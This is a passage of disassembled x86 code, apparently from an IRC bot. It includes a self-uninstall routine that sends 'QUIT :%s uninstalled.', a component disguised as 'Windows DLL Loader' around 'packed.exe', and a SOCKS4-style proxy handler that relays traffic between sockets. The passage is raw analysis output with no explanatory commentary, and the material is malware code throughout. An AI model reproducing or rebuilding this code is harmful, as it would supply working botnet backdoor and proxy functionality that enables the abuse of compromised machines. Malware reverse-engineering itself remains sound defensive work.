		shl	eax, 1
		push	off_418B88[eax*4]
		mov	eax, [ebp+var_108]
		shl	eax, 1
		push	off_418B8C[eax*4]
		push	0
		call	sub_406C51
		add	esp, 0Ch
		mov	eax, [ebp+var_108]
		shl	eax, 1
		push	off_418B88[eax*4]
		call	sub_4105AD
		pop	ecx
		mov	eax, [ebp+var_108]
		shl	eax, 1
		push	off_418B8C[eax*4]
		call	sub_4105AD
		pop	ecx
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_406CF8
		pop	ecx
		push	eax
		call	sub_406D90
		pop	ecx
		test	eax, eax
		jz	short loc_4072D9
		push	offset aPacked_exe ; "packed.exe"
		push	offset aQuitSUninstall ; "QUIT :%s uninstalled."
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		call	ds:dword_417254	; WSACleanup
		push	0
		call	ds:dword_41705C	; ExitProcess


loc_4072D9:				; CODE XREF: sub_407148+170j
		jmp	short locret_40732B
; ---------------------------------------------------------------------------


loc_4072DB:				; CODE XREF: sub_407148+D8j
		jmp	loc_40717A
; ---------------------------------------------------------------------------


loc_4072E0:				; CODE XREF: sub_407148+4Fj
		push	offset aPacked_exe ; "packed.exe"
		push	offset aWindowsDllLoad ; "Windows DLL Loader"
		push	0
		call	sub_406C51
		add	esp, 0Ch
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_406CF8
		pop	ecx
		push	eax
		call	sub_406D90
		pop	ecx
		test	eax, eax
		jz	short locret_40732B
		push	offset aPacked_exe ; "packed.exe"
		push	offset aQuitSUninstall ; "QUIT :%s uninstalled."
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		call	ds:dword_417254	; WSACleanup
		push	0
		call	ds:dword_41705C	; ExitProcess

locret_40732B:				; CODE XREF: sub_407148:loc_4072D9j
					; sub_407148+1C2j
		leave
		retn
sub_407148	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40732D	proc near		; DATA XREF: sub_40764D+145o

var_16F0	= dword	ptr -16F0h
var_16EC	= dword	ptr -16ECh
var_16E8	= dword	ptr -16E8h
var_16E4	= dword	ptr -16E4h
var_16E0	= byte ptr -16E0h
var_6E0		= byte ptr -6E0h
var_5E0		= dword	ptr -5E0h
var_5DC		= byte ptr -5DCh
var_5D4		= dword	ptr -5D4h
var_5D0		= byte ptr -5D0h
var_5CF		= byte ptr -5CFh
var_5CE		= dword	ptr -5CEh
var_5C8		= byte ptr -5C8h
var_1C8		= dword	ptr -1C8h
var_1BE		= byte ptr -1BEh
var_1AE		= byte ptr -1AEh
var_1B		= byte ptr -1Bh
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 16F0h
		call	sub_416BC0
		push	1BDh
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1C8]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		mov	eax, [ebp+var_1C8]
		mov	[ebp+var_5D4], eax
		push	0
		push	408h
		lea	eax, [ebp+var_5D0]
		push	eax
		push	[ebp+var_5D4]
		call	ds:dword_417248	; recv
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_40738F
		cmp	[ebp+var_8], 0FFFFFFFFh
		jnz	short loc_407396


loc_40738F:				; CODE XREF: sub_40732D+5Aj
		xor	eax, eax
		jmp	locret_407649
; ---------------------------------------------------------------------------


loc_407396:				; CODE XREF: sub_40732D+60j
		movzx	eax, [ebp+var_5D0]
		cmp	eax, 4
		jnz	short loc_4073BA
		movzx	eax, [ebp+var_5CF]
		cmp	eax, 1
		jnz	short loc_4073BA
		mov	[ebp+var_16EC],	1
		jmp	short loc_4073C1
; ---------------------------------------------------------------------------


loc_4073BA:				; CODE XREF: sub_40732D+73j
					; sub_40732D+7Fj
		and	[ebp+var_16EC],	0


loc_4073C1:				; CODE XREF: sub_40732D+8Bj
		mov	eax, [ebp+var_16EC]
		mov	[ebp+var_4], eax
		movsx	eax, [ebp+var_1BE]
		test	eax, eax
		jz	short loc_4073F5
		push	10h
		lea	eax, [ebp+var_1BE]
		push	eax
		lea	eax, [ebp+var_5C8]
		push	eax
		call	sub_416BF0	; strncmp
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4073F5
		and	[ebp+var_4], 0


loc_4073F5:				; CODE XREF: sub_40732D+A6j
					; sub_40732D+C2j
		movsx	eax, [ebp+var_1B]
		test	eax, eax
		jz	short loc_407456
		lea	eax, [ebp+var_6E0]
		push	eax
		push	[ebp+var_5D4]
		call	sub_4044F7
		pop	ecx
		pop	ecx
		cmp	[ebp+var_4], 0
		jz	short loc_407423
		mov	[ebp+var_16F0],	offset byte_41DE30
		jmp	short loc_40742D
; ---------------------------------------------------------------------------


loc_407423:				; CODE XREF: sub_40732D+E8j
		mov	[ebp+var_16F0],	offset aRejected ; " rejected"


loc_40742D:				; CODE XREF: sub_40732D+F4j
		push	[ebp+var_16F0]
		movzx	eax, [ebp+var_5D0]
		push	eax
		lea	eax, [ebp+var_6E0]
		push	eax
		push	offset dword_418EB8
		lea	eax, [ebp+var_1AE]
		push	eax
		call	sub_40D53F
		add	esp, 14h


loc_407456:				; CODE XREF: sub_40732D+CEj
		cmp	[ebp+var_4], 0
		jnz	short loc_4074A0
		push	8
		push	0
		lea	eax, [ebp+var_5D0]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	[ebp+var_5CF], 5Bh
		push	8
		lea	eax, [ebp+var_5D0]
		push	eax
		push	[ebp+var_5D4]
		call	sub_4053BF
		add	esp, 0Ch
		push	[ebp+var_5D4]
		call	sub_40538D
		pop	ecx
		xor	eax, eax
		jmp	locret_407649
; ---------------------------------------------------------------------------


loc_4074A0:				; CODE XREF: sub_40732D+12Dj
		push	0Ah
		lea	eax, [ebp+var_5DC]
		push	eax
		push	[ebp+var_5CE]
		call	ds:dword_417238	; ntohs
		movzx	eax, ax
		push	eax
		call	sub_416F7A	; _itoa
		add	esp, 0Ch
		push	2710h
		push	0
		lea	eax, [ebp+var_5DC]
		push	eax
		push	[ebp+var_5CE+2]
		call	ds:dword_41721C	; inet_ntoa
		push	eax
		call	sub_4050EA
		add	esp, 10h
		mov	[ebp+var_5E0], eax
		push	8
		push	0
		lea	eax, [ebp+var_5D0]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		cmp	[ebp+var_5E0], 0
		jnz	short loc_407537
		mov	[ebp+var_5CF], 5Bh
		push	8
		lea	eax, [ebp+var_5D0]
		push	eax
		push	[ebp+var_5D4]
		call	sub_4053BF
		add	esp, 0Ch
		push	[ebp+var_5D4]
		call	sub_40538D
		pop	ecx
		xor	eax, eax
		jmp	locret_407649
; ---------------------------------------------------------------------------


loc_407537:				; CODE XREF: sub_40732D+1D7j
		mov	[ebp+var_5CF], 5Ah
		push	8
		lea	eax, [ebp+var_5D0]
		push	eax
		push	[ebp+var_5D4]
		call	sub_4053BF
		add	esp, 0Ch


loc_407555:				; CODE XREF: sub_40732D+2FDj
		push	[ebp+var_5D4]
		call	sub_40447B
		pop	ecx
		test	eax, eax
		jz	short loc_4075BD
		push	0
		push	1000h
		lea	eax, [ebp+var_16E0]
		push	eax
		push	[ebp+var_5D4]
		call	ds:dword_417248	; recv
		mov	[ebp+var_16E4],	eax
		cmp	[ebp+var_16E4],	0
		jz	short loc_407597
		cmp	[ebp+var_16E4],	0FFFFFFFFh
		jnz	short loc_40759C


loc_407597:				; CODE XREF: sub_40732D+25Fj
		jmp	loc_40762F
; ---------------------------------------------------------------------------


loc_40759C:				; CODE XREF: sub_40732D+268j
		push	[ebp+var_16E4]
		lea	eax, [ebp+var_16E0]
		push	eax
		push	[ebp+var_5E0]
		call	sub_4053BF
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4075BD
		jmp	short loc_40762F
; ---------------------------------------------------------------------------


loc_4075BD:				; CODE XREF: sub_40732D+236j
					; sub_40732D+28Cj
		push	[ebp+var_5E0]
		call	sub_40447B
		pop	ecx
		test	eax, eax
		jz	short loc_407622
		push	0
		push	1000h
		lea	eax, [ebp+var_16E0]
		push	eax
		push	[ebp+var_5E0]
		call	ds:dword_417248	; recv
		mov	[ebp+var_16E8],	eax
		cmp	[ebp+var_16E8],	0
		jz	short loc_4075FF
		cmp	[ebp+var_16E8],	0FFFFFFFFh
		jnz	short loc_407601


loc_4075FF:				; CODE XREF: sub_40732D+2C7j
		jmp	short loc_40762F
; ---------------------------------------------------------------------------


loc_407601:				; CODE XREF: sub_40732D+2D0j
		push	[ebp+var_16E8]
		lea	eax, [ebp+var_16E0]
		push	eax
		push	[ebp+var_5D4]
		call	sub_4053BF
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_407622
		jmp	short loc_40762F
; ---------------------------------------------------------------------------


loc_407622:				; CODE XREF: sub_40732D+29Ej
					; sub_40732D+2F1j
		push	32h
		call	ds:dword_41709C	; Sleep
		jmp	loc_407555
; ---------------------------------------------------------------------------


loc_40762F:				; CODE XREF: sub_40732D:loc_407597j
					; sub_40732D+28Ej ...
		push	[ebp+var_5D4]
		call	sub_40538D
		pop	ecx
		push	[ebp+var_5E0]
		call	sub_40538D
		pop	ecx
		xor	eax, eax

locret_407649:				; CODE XREF: sub_40732D+64j
					; sub_40732D+16Ej ...
		leave
		retn	4
sub_40732D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40764D	proc near		; DATA XREF: sub_4077DD+B4o

var_1CC		= dword	ptr -1CCh
var_1C8		= dword	ptr -1C8h
var_1C4		= dword	ptr -1C4h
var_1C0		= dword	ptr -1C0h
var_1BC		= byte ptr -1BCh
var_1B6		= byte ptr -1B6h
var_1A6		= byte ptr -1A6h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1CCh
		push	1BDh
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1C0]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		push	1
		lea	eax, [ebp+var_1BC]
		push	eax
		call	sub_4046BC
		pop	ecx
		pop	ecx
		mov	[ebp+var_1C4], eax
		cmp	[ebp+var_1C4], 0
		jnz	short loc_4076A8
		push	[ebp+var_1C0]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_4077D9
; ---------------------------------------------------------------------------


loc_4076A8:				; CODE XREF: sub_40764D+46j
		lea	eax, [ebp+var_1BC]
		push	eax
		mov	eax, [ebp+var_1C0]
		push	dword ptr [eax]
		push	offset dword_418EF8
		lea	eax, [ebp+var_1A6]
		push	eax
		call	sub_40D53F
		add	esp, 10h


loc_4076CB:				; CODE XREF: sub_40764D+B9j
					; sub_40764D+E1j ...
		push	3E8h
		push	[ebp+var_1C4]
		call	sub_4048EF
		pop	ecx
		pop	ecx
		mov	[ebp+var_1C8], eax
		mov	eax, [ebp+var_1C0]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_4076F8
		cmp	[ebp+var_1C8], 0
		jnz	short loc_4076FD


loc_4076F8:				; CODE XREF: sub_40764D+A0j
		jmp	loc_4077BF
; ---------------------------------------------------------------------------


loc_4076FD:				; CODE XREF: sub_40764D+A9j
		cmp	[ebp+var_1C8], 0FFFFFFFFh
		jnz	short loc_407708
		jmp	short loc_4076CB
; ---------------------------------------------------------------------------


loc_407708:				; CODE XREF: sub_40764D+B7j
		push	1BDh
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_1CC], eax
		cmp	[ebp+var_1CC], 0
		jnz	short loc_407730
		push	[ebp+var_1C8]
		call	sub_4053B1
		pop	ecx
		jmp	short loc_4076CB
; ---------------------------------------------------------------------------


loc_407730:				; CODE XREF: sub_40764D+D3j
		mov	eax, [ebp+var_1CC]
		mov	ecx, [ebp+var_1C8]
		mov	[eax], ecx
		lea	eax, [ebp+var_1BC]
		push	eax
		mov	eax, [ebp+var_1CC]
		add	eax, 4
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_1B6]
		push	eax
		mov	eax, [ebp+var_1CC]
		add	eax, 0Ah
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		push	1A3h
		lea	eax, [ebp+var_1A6]
		push	eax
		mov	eax, [ebp+var_1CC]
		add	eax, 1Ah
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+var_1CC]
		push	offset sub_40732D
		call	sub_409479
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_4077BA
		push	[ebp+var_1CC]
		call	sub_416B4C	; free
		pop	ecx
		push	[ebp+var_1C8]
		call	sub_4053B1
		pop	ecx


loc_4077BA:				; CODE XREF: sub_40764D+153j
		jmp	loc_4076CB
; ---------------------------------------------------------------------------


loc_4077BF:				; CODE XREF: sub_40764D:loc_4076F8j
		push	[ebp+var_1C4]
		call	sub_404CBB
		pop	ecx
		push	[ebp+var_1C0]
		call	sub_409763
		pop	ecx
		xor	eax, eax

locret_4077D9:				; CODE XREF: sub_40764D+56j
		leave
		retn	4
sub_40764D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4077DD	proc near		; CODE XREF: sub_40A9CF+17Ap

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		cmp	[ebp+arg_4], 0
		jnz	short loc_40780F
		push	0Ah
		lea	eax, [ebp+var_8]
		push	eax
		push	0FFFFh
		push	401h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		push	eax
		call	sub_416F7A	; _itoa
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		mov	[ebp+arg_4], eax


loc_40780F:				; CODE XREF: sub_4077DD+Aj
		push	1BDh
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jnz	short loc_407825
		jmp	short locret_40789E
; ---------------------------------------------------------------------------


loc_407825:				; CODE XREF: sub_4077DD+44j
		push	[ebp+arg_4]
		mov	eax, [ebp+var_C]
		add	eax, 4
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		cmp	[ebp+arg_8], 0
		jz	short loc_407844
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_10], eax
		jmp	short loc_40784B
; ---------------------------------------------------------------------------


loc_407844:				; CODE XREF: sub_4077DD+5Dj
		mov	[ebp+var_10], offset byte_41DE30


loc_40784B:				; CODE XREF: sub_4077DD+65j
		push	10h
		push	[ebp+var_10]
		mov	eax, [ebp+var_C]
		add	eax, 0Ah
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		push	1A3h
		push	[ebp+arg_0]
		mov	eax, [ebp+var_C]
		add	eax, 1Ah
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_4]
		push	offset dword_418F2C
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax+18Bh]
		neg	eax
		sbb	eax, eax
		inc	eax
		push	eax
		push	[ebp+var_C]
		push	offset sub_40764D
		call	sub_4095A4
		add	esp, 14h

locret_40789E:				; CODE XREF: sub_4077DD+46j
		leave
		retn
sub_4077DD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4078A0	proc near		; CODE XREF: sub_40A9CF+216p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_0]
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_4078B8
		jmp	short locret_4078E4
; ---------------------------------------------------------------------------


loc_4078B8:				; CODE XREF: sub_4078A0+14j
					; sub_4078A0:loc_4078E2j
		cmp	[ebp+var_4], 0
		jnz	short loc_4078C0
		jmp	short locret_4078E4
; ---------------------------------------------------------------------------


loc_4078C0:				; CODE XREF: sub_4078A0+1Cj
		mov	eax, [ebp+var_4]
		dec	eax
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 20h
		jnz	short loc_4078E0
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		and	byte ptr [eax],	0
		jmp	short loc_4078E2
; ---------------------------------------------------------------------------


loc_4078E0:				; CODE XREF: sub_4078A0+33j
		jmp	short locret_4078E4
; ---------------------------------------------------------------------------


loc_4078E2:				; CODE XREF: sub_4078A0+3Ej
		jmp	short loc_4078B8
; ---------------------------------------------------------------------------

locret_4078E4:				; CODE XREF: sub_4078A0+16j
					; sub_4078A0+1Ej ...
		leave
		retn
sub_4078A0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4078E6	proc near		; CODE XREF: sub_407D42+Ap

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	[ebp+var_8], 0
		and	[ebp+var_4], 0
		jmp	short loc_4078FC
; ---------------------------------------------------------------------------


loc_4078F5:				; CODE XREF: sub_4078E6:loc_407921j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_4078FC:				; CODE XREF: sub_4078E6+Dj
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_407923
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		movsx	ecx, [ebp+arg_4]
		cmp	eax, ecx
		jnz	short loc_407921
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax


loc_407921:				; CODE XREF: sub_4078E6+32j
		jmp	short loc_4078F5
; ---------------------------------------------------------------------------


loc_407923:				; CODE XREF: sub_4078E6+21j
		mov	eax, [ebp+var_8]
		leave
		retn
sub_4078E6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407928	proc near		; CODE XREF: sub_40E618+2Bp
					; sub_40E618+185p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		cmp	[ebp+arg_10], 0
		jnz	short loc_407963
		mov	eax, [ebp+arg_10]
		shl	eax, 2
		push	eax
		push	0
		push	[ebp+arg_8]
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	eax, [ebp+arg_10]
		shl	eax, 2
		push	eax
		push	0
		push	[ebp+arg_C]
		call	sub_416B6A	; memset
		add	esp, 0Ch
		xor	eax, eax
		jmp	locret_407A54
; ---------------------------------------------------------------------------


loc_407963:				; CODE XREF: sub_407928+Aj
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	offset dword_418F4C
		push	[ebp+arg_0]
		call	sub_40813C
		add	esp, 0Ch
		mov	ecx, [ebp+arg_8]
		mov	[ecx], eax
		mov	eax, [ebp+arg_C]
		mov	ecx, [ebp+arg_4]
		mov	[eax], ecx
		mov	[ebp+var_8], 1
		jmp	short loc_4079A1
; ---------------------------------------------------------------------------


loc_40799A:				; CODE XREF: sub_407928:loc_407A4Cj
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax


loc_4079A1:				; CODE XREF: sub_407928+70j
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+arg_10]
		jge	loc_407A51
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_8]
		cmp	dword ptr [ecx+eax*4-4], 0
		jz	short loc_407A0A
		lea	eax, [ebp+var_4]
		push	eax
		push	offset dword_418F4C
		push	0
		call	sub_40813C
		add	esp, 0Ch
		mov	ecx, [ebp+var_8]
		mov	edx, [ebp+arg_8]
		mov	[edx+ecx*4], eax
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_8]
		cmp	dword ptr [ecx+eax*4], 0
		jz	short loc_4079F8
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_8]
		mov	eax, [ecx+eax*4]
		sub	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_4]
		add	ecx, eax
		mov	[ebp+var_C], ecx
		jmp	short loc_4079FC
; ---------------------------------------------------------------------------


loc_4079F8:				; CODE XREF: sub_407928+B8j
		and	[ebp+var_C], 0


loc_4079FC:				; CODE XREF: sub_407928+CEj
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_C]
		mov	edx, [ebp+var_C]
		mov	[ecx+eax*4], edx
		jmp	short loc_407A4C
; ---------------------------------------------------------------------------


loc_407A0A:				; CODE XREF: sub_407928+90j
		mov	eax, [ebp+arg_10]
		sub	eax, [ebp+var_8]
		shl	eax, 2
		push	eax
		push	0
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_8]
		lea	eax, [ecx+eax*4]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	eax, [ebp+arg_10]
		sub	eax, [ebp+var_8]
		shl	eax, 2
		push	eax
		push	0
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_C]
		lea	eax, [ecx+eax*4]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	eax, [ebp+var_8]
		dec	eax
		jmp	short locret_407A54
; ---------------------------------------------------------------------------


loc_407A4C:				; CODE XREF: sub_407928+E0j
		jmp	loc_40799A
; ---------------------------------------------------------------------------


loc_407A51:				; CODE XREF: sub_407928+7Fj
		mov	eax, [ebp+arg_10]

locret_407A54:				; CODE XREF: sub_407928+36j
					; sub_407928+122j
		leave
		retn
sub_407928	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407A56	proc near		; CODE XREF: sub_401146+6Bp
					; sub_401146+CAp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+arg_0]
		mov	ecx, [ebp+arg_8]
		test	ecx, ecx
		jz	short loc_407A81
		cmp	ecx, 1
		jz	short loc_407A7E


loc_407A6E:				; CODE XREF: sub_407A56+26j
		mov	al, [esi]
		mov	[edi], al
		test	al, al
		jz	short loc_407A81
		inc	esi
		inc	edi
		dec	ecx
		cmp	ecx, 1
		jnz	short loc_407A6E


loc_407A7E:				; CODE XREF: sub_407A56+16j
		mov	byte ptr [edi],	0


loc_407A81:				; CODE XREF: sub_407A56+11j
					; sub_407A56+1Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_407A56	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407A86	proc near		; CODE XREF: sub_4097A7+17p
					; sub_4098F3+17p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		jmp	short loc_407A97
; ---------------------------------------------------------------------------


loc_407A90:				; CODE XREF: sub_407A86+3Aj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_407A97:				; CODE XREF: sub_407A86+8j
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_407AC6
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 30h
		jl	short loc_407AC2
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 39h
		jg	short loc_407AC2
		jmp	short loc_407A90
; ---------------------------------------------------------------------------


loc_407AC2:				; CODE XREF: sub_407A86+2Aj
					; sub_407A86+38j
		xor	al, al
		jmp	short locret_407AC8
; ---------------------------------------------------------------------------


loc_407AC6:				; CODE XREF: sub_407A86+1Cj
		mov	al, 1

locret_407AC8:				; CODE XREF: sub_407A86+3Ej
		leave
		retn
sub_407A86	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407ACA	proc near		; CODE XREF: sub_401000+F6p
					; sub_4148CE+61p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	[ebp+arg_8]
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_4], eax
		and	[ebp+var_8], 0
		and	[ebp+var_C], 0
		jmp	short loc_407AED
; ---------------------------------------------------------------------------


loc_407AE6:				; CODE XREF: sub_407ACA:loc_407B58j
		mov	eax, [ebp+var_C]
		inc	eax
		mov	[ebp+var_C], eax


loc_407AED:				; CODE XREF: sub_407ACA+1Aj
		mov	eax, [ebp+arg_4]
		sub	eax, [ebp+var_4]
		cmp	[ebp+var_C], eax
		jg	short loc_407B5A
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_C]
		movsx	eax, byte ptr [eax]
		mov	ecx, [ebp+arg_8]
		movsx	ecx, byte ptr [ecx]
		cmp	eax, ecx
		jz	short loc_407B37
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_C]
		movsx	eax, byte ptr [eax]
		mov	ecx, [ebp+arg_8]
		movsx	ecx, byte ptr [ecx]
		add	ecx, 20h
		cmp	eax, ecx
		jz	short loc_407B37
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_C]
		movsx	eax, byte ptr [eax]
		mov	ecx, [ebp+arg_8]
		movsx	ecx, byte ptr [ecx]
		sub	ecx, 20h
		cmp	eax, ecx
		jnz	short loc_407B58


loc_407B37:				; CODE XREF: sub_407ACA+3Fj
					; sub_407ACA+55j
		push	[ebp+var_4]
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_C]
		push	eax
		call	sub_416F80	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_407B58
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_C]
		jmp	short locret_407B5C
; ---------------------------------------------------------------------------


loc_407B58:				; CODE XREF: sub_407ACA+6Bj
					; sub_407ACA+84j
		jmp	short loc_407AE6
; ---------------------------------------------------------------------------


loc_407B5A:				; CODE XREF: sub_407ACA+2Cj
		xor	eax, eax

locret_407B5C:				; CODE XREF: sub_407ACA+8Cj
		leave
		retn
sub_407ACA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407B5E	proc near		; CODE XREF: sub_40A2D2+11Dp
					; sub_40E943+20p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	[ebp+var_4], 0
		jmp	short loc_407B70
; ---------------------------------------------------------------------------


loc_407B69:				; CODE XREF: sub_407B5E:loc_407BEEj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_407B70:				; CODE XREF: sub_407B5E+9j
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_407B85
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		jmp	short locret_407BF3
; ---------------------------------------------------------------------------


loc_407B85:				; CODE XREF: sub_407B5E+1Dj
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 0Dh
		jz	short loc_407BA1
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 0Ah
		jnz	short loc_407BEE


loc_407BA1:				; CODE XREF: sub_407B5E+33j
		and	[ebp+var_8], 0
		jmp	short loc_407BAE
; ---------------------------------------------------------------------------


loc_407BA7:				; CODE XREF: sub_407B5E:loc_407BECj
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax


loc_407BAE:				; CODE XREF: sub_407B5E+47j
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_0]
		movsx	eax, byte ptr [ecx+eax]
		cmp	eax, 0Dh
		jz	short loc_407BD2
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_0]
		movsx	eax, byte ptr [ecx+eax]
		cmp	eax, 0Ah
		jnz	short loc_407BE1


loc_407BD2:				; CODE XREF: sub_407B5E+60j
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_0]
		and	byte ptr [ecx+eax], 0
		jmp	short loc_407BEC
; ---------------------------------------------------------------------------


loc_407BE1:				; CODE XREF: sub_407B5E+72j
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		jmp	short locret_407BF3
; ---------------------------------------------------------------------------


loc_407BEC:				; CODE XREF: sub_407B5E+81j
		jmp	short loc_407BA7
; ---------------------------------------------------------------------------


loc_407BEE:				; CODE XREF: sub_407B5E+41j
		jmp	loc_407B69
; ---------------------------------------------------------------------------

locret_407BF3:				; CODE XREF: sub_407B5E+25j
					; sub_407B5E+8Cj
		leave
